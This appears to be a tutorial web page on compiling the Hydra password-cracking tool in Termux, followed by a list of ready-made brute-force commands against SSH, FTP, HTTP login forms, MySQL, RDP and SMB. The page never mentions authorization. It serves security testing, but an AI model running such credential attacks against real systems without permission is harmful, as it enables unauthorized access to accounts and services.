All     Ethical Hacking     Networking     Programming     OSINT

Hydra in Termux – Installation, Usage & Basic Commands

Hydra is a fast and powerful password-cracking tool used to test the strength of login systems like SSH, FTP, Telnet, HTTP, SMB, SMTP, and more. Termux does not provide Hydra as a direct package, so you need to install it from source, which takes some time but works perfectly.

Installation

Install required packages:

pkg update && pkg install -y git build-essential cmake

Download the Hydra source code:

git clone https://github.com/vanhauser-thc/thc-hydra.git

Enter the folder:

cd thc-hydra

Configure Hydra for Termux:

./configure --prefix=$PREFIX --disable-xhydra

Compile Hydra:

make

Install Hydra:

make install

Check if it installed successfully:

hydra -h

Usage Commands

These are the most common Hydra usage commands for beginners.

Brute-force SSH login:

hydra -l username -P passwords.txt ssh://192.168.1.10

Brute-force FTP login:

hydra -l admin -P passlist.txt ftp://192.168.1.20

Brute-force HTTP login form:

hydra -l admin -P rockyou.txt 192.168.1.30 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"

Brute-force MySQL login:

hydra -l root -P pass.txt mysql://192.168.1.40

Brute-force RDP login:

hydra -l admin -P pass.txt rdp://192.168.1.50

Test multiple services at once:

hydra -L users.txt -P passwords.txt 192.168.1.60 ssh ftp smb

Limit attack speed (threads):

hydra -t 4 -l admin -P pass.txt ssh://192.168.1.10

Save results to a file:

hydra -l admin -P pass.txt ssh://192.168.1.10 -o results.txt

Show all supported protocols:

hydra -U